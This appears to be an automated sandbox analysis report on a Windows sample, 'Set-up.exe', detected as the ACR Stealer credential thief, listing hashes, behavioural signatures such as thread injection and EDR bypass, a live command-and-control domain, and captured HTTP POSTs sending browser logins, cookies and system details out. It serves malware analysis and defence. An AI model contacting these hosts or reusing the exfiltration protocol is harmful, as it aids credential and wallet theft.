Windows Analysis Report
Set-up.exe

General Information

Sample name: Set-up.exe
Analysis ID: 1686586
Has dependencies: false
MD5: 93704dcb189997351ec039c6e5f1aa41
SHA1: d1bcc20f331f881d46cae1a13b281c127d9d6ae0
SHA256: 6be08c94108deb529fc50d4fd76c1a71e4a1329cbc618d550dccde597dc4f09e
Tags: de-pumpedexeuser-abuse_ch
Infos: yara

Detection

ACR Stealer
Score: 100
Range: 0 - 100
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Suricata IDS alerts for network traffic
Yara detected ACR Stealer
Allocates memory in foreign processes
Found direct / indirect Syscall (likely to bypass EDR)
Found many strings related to Crypto-Wallets (likely being stolen)
Joe Sandbox ML detected suspicious sample
Modifies the context of a thread in another process (thread injection)
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Tries to steal from password manager
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
One or more processes crash
PE file contains executable resources (Code or Archives)
PE file contains more sections than normal
PE file contains sections with non-standard names
Sample file is different than original file name gathered from version info
Searches for user specific document files
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Yara detected Credential Stealer

Classification

AV Detection
barindex
Antivirus detection for URL or domain
Source: http://mcrsftuptade.pro/Up Avira URL Cloud: Label: malware
Source: http://mcrsftuptade.pro/Up/g Avira URL Cloud: Label: malware
Source: http://mcrsftuptade.pro/ujs/f1575b64-8492-4e8b-b102-4d26e8c70371 Avira URL Cloud: Label: malware
Source: http://mcrsftuptade.pro/Up/p Avira URL Cloud: Label: malware
Source: http://mcrsftuptade.pro/Up/b Avira URL Cloud: Label: malware
Joe Sandbox ML detected suspicious sample
Source: Submited Sample Neural Call Log Analysis: 83.3%
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\Desktop\Set-up.exe Code function: 0_2_03F82F00 LoadLibraryA,FreeLibrary,FreeLibrary,FreeLibrary,FreeLibrary,FreeLibrary,FreeLibrary,CryptUnprotectData,FreeLibrary,FreeLibrary,FreeLibrary, 0_2_03F82F00
Uses 32bit PE files
Source: Set-up.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, DEBUG_STRIPPED, BYTES_REVERSED_HI

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2052674 - Severity 1 - ET MALWARE ACR Stealer CnC Checkin Attempt : 192.168.2.4:49721 -> 188.114.96.3:80
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /ujs/f1575b64-8492-4e8b-b102-4d26e8c70371 HTTP/1.1Host: mcrsftuptade.proConnection: close
Source: global traffic HTTP traffic detected: POST /Up HTTP/1.1Host: mcrsftuptade.proConnection: closeContent-Length: 289Content-Type: application/octet-streamData Raw: 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 4e 27 f4 29 6f 00 00 00 6f 00 00 00 28 00 00 00 66 31 35 37 35 62 36 34 2d 38 34 39 32 2d 34 65 38 62 2d 62 31 30 32 2d 34 64 32 36 65 38 63 37 30 33 37 31 2e 74 78 74 7b 22 6c 22 3a 22 31 37 34 36 38 35 37 31 33 32 39 32 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 22 2c 22 62 74 22 3a 22 47 41 53 22 2c 22 68 69 22 3a 22 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 22 7d 50 4b 01 02 14 00 14 00 00 00 00 00 5c 64 21 52 4e 27 f4 29 6f 00 00 00 6f 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 66 31 35 37 35 62 36 34 2d 38 34 39 32 2d 34 65 38 62 2d 62 31 30 32 2d 34 64 32 36 65 38 63 37 30 33 37 31 2e 74 78 74 50 4b 05 06 00 00 00 00 01 00 01 00 56 00 00 00 b5 00 00 00 00 00 Data Ascii: PK\d!RN')oo(f1575b64-8492-4e8b-b102-4d26e8c70371.txt{"l":"1746857132929e146be9-c76a-4720-bcdb-53011b87bd06","bt":"GAS","hi":"9e146be9-c76a-4720-bcdb-53011b87bd06"}PK\d!RN')oo(f1575b64-8492-4e8b-b102-4d26e8c70371.txtPKV
Source: global traffic HTTP traffic detected: POST /Up/b HTTP/1.1Host: mcrsftuptade.proConnection: closeContent-Length: 41649Content-Type: application/octet-streamData Raw: 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 c3 94 76 3c 00 a0 00 00 00 a0 00 00 11 00 00 00 62 2f 63 38 2f 30 2f 4c 6f 67 69 6e 20 44 61 74 61 53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20 33 00 08 00 01 01 00 40 20 20 00 00 00 02 00 00 00 14 00 00 00 00 00 00 00 00 00 00 00 0c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 2e 7a 70 05 00 00 00 01 07 fb 00 00 00 00 0d 07 fb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: POST /Up/b HTTP/1.1Host: mcrsftuptade.proConnection: closeContent-Length: 524940Content-Type: application/octet-streamData Raw: 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 00 00 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 62 2f 67 31 2f 30 2f 6b 65 79 33 2e 64 62 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 f5 ac e0 c4 00 80 04 00 00 80 04 00 0e 00 00 00 62 2f 67 31 2f 30 2f 6b 65 79 34 2e 64 62 53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20 33 00 80 00 01 01 00 40 20 20 00 00 00 02 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 2e 6a d0 0d 7f f8 00 08 7a 3c 00 7b ee 7f c3 7b a9 7b 61 7b 1f 7a db 7a 3c 7a aa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: POST /Up/b HTTP/1.1Host: mcrsftuptade.proConnection: closeContent-Length: 41643Content-Type: application/octet-streamData Raw: 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 af 7d e8 83 00 a0 00 00 00 a0 00 00 0e 00 00 00 62 2f 63 38 2f 30 2f 43 6f 6f 6b 69 65 73 53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20 33 00 10 00 01 01 00 40 20 20 00 00 00 13 00 00 00 0a 00 00 00 0a 00 00 00 03 00 00 00 17 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 00 2e 7a 70 0d 0d 18 00 04 09 f1 00 0f 67 0f cf 0a ae 09 f1 09 f1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: POST /Up/b HTTP/1.1Host: mcrsftuptade.proConnection: closeContent-Length: 623250Content-Type: application/octet-streamData Raw: 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 00 00 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 62 2f 67 31 2f 30 2f 6b 65 79 33 2e 64 62 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 f5 ac e0 c4 00 80 04 00 00 80 04 00 0e 00 00 00 62 2f 67 31 2f 30 2f 6b 65 79 34 2e 64 62 53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20 33 00 80 00 01 01 00 40 20 20 00 00 00 02 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 2e 6a d0 0d 7f f8 00 08 7a 3c 00 7b ee 7f c3 7b a9 7b 61 7b 1f 7a db 7a 3c 7a aa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: POST /Up/p HTTP/1.1Host: mcrsftuptade.proConnection: closeContent-Length: 485Content-Type: application/octet-streamData Raw: 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 42 19 07 7a 33 01 00 00 33 01 00 00 28 00 00 00 66 31 35 37 35 62 36 34 2d 38 34 39 32 2d 34 65 38 62 2d 62 31 30 32 2d 34 64 32 36 65 38 63 37 30 33 37 31 2e 74 78 74 7b 22 6f 22 3a 22 57 69 6e 64 6f 77 73 20 31 30 22 2c 22 75 6e 22 3a 22 6a 6f 6e 65 73 22 2c 22 70 22 3a 22 4a 4f 4e 45 53 2d 50 43 22 2c 22 61 22 3a 22 78 36 34 22 2c 22 63 22 3a 34 2c 22 6c 22 3a 22 31 37 34 36 38 35 37 31 33 32 39 32 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 22 2c 22 62 74 22 3a 22 47 41 53 22 2c 22 68 69 22 3a 22 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 22 2c 22 64 6e 22 3a 22 6e 75 6c 6c 22 2c 22 64 70 22 3a 22 32 32 32 22 2c 22 73 22 3a 22 31 32 38 30 78 31 30 32 34 22 2c 22 72 22 3a 34 30 39 35 2c 22 65 6c 22 3a 66 61 6c 73 65 2c 22 6c 74 22 3a 22 6e 75 6c 6c 22 2c 22 69 73 22 3a 5b 5d 2c 22 6c 69 22 3a 5b 5d 2c 22 70 6c 22 3a 5b 5d 2c 22 67 22 3a 5b 22 4d 69 63 72 6f 73 6f 66 74 20 42 61 73 69 63 20 44 69 73 70 6c 61 79 20 41 64 61 70 74 65 72 22 5d 7d 50 4b 01 02 14 00 14 00 00 00 00 00 5c 64 21 52 42 19 07 7a 33 01 00 00 33 01 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 66 31 35 37 35 62 36 34 2d 38 34 39 32 2d 34 65 38 62 2d 62 31 30 32 2d 34 64 32 36 65 38 63 37 30 33 37 31 2e 74 78 74 50 4b 05 06 00 00 00 00 01 00 01 00 56 00 00 00 79 01 00 00 00 00 Data Ascii: PK\d!RBz33(f1575b64-8492-4e8b-b102-4d26e8c70371.txt{"o":"Windows 10","un":"user","p":"user-PC","a":"x64","c":4,"l":"1746857132929e146be9-c76a-4720-bcdb-53011b87bd06","bt":"GAS","hi":"9e146be9-c76a-4720-bcdb-53011b87bd06","dn":"null","dp":"222","s":"1280x1024","r":4095,"el":false,"lt":"null","is":[],"li":[],"pl":[],"g":["Microsoft Basic Display Adapter"]}PK\d!RBz33(f1575b64-8492-4e8b-b102-4d26e8c70371.txtPKVy
Source: global traffic HTTP traffic detected: POST /Up/b HTTP/1.1Host: mcrsftuptade.proConnection: closeContent-Length: 139949Content-Type: application/octet-streamData Raw: 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 74 aa 79 19 00 20 02 00 00 20 02 00 0f 00 00 00 62 2f 63 38 2f 30 2f 57 65 62 20 44 61 74 61 53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20 33 00 08 00 01 01 00 40 20 20 00 00 00 06 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 4a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 00 2e 7a 70 05 00 00 00 05 07 e7 00 00 00 00 3c 07 fb 07 f6 07 f1 07 ec 07 e7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: POST /Up/b HTTP/1.1Host: mcrsftuptade.proConnection: closeContent-Length: 524954Content-Type: application/octet-streamData Raw: 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 00 00 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 62 2f 67 31 2f 30 2f 6b 65 79 33 2e 64 62 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 f5 ac e0 c4 00 80 04 00 00 80 04 00 0e 00 00 00 62 2f 67 31 2f 30 2f 6b 65 79 34 2e 64 62 53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20 33 00 80 00 01 01 00 40 20 20 00 00 00 02 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 2e 6a d0 0d 7f f8 00 08 7a 3c 00 7b ee 7f c3 7b a9 7b 61 7b 1f 7a db 7a 3c 7a aa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 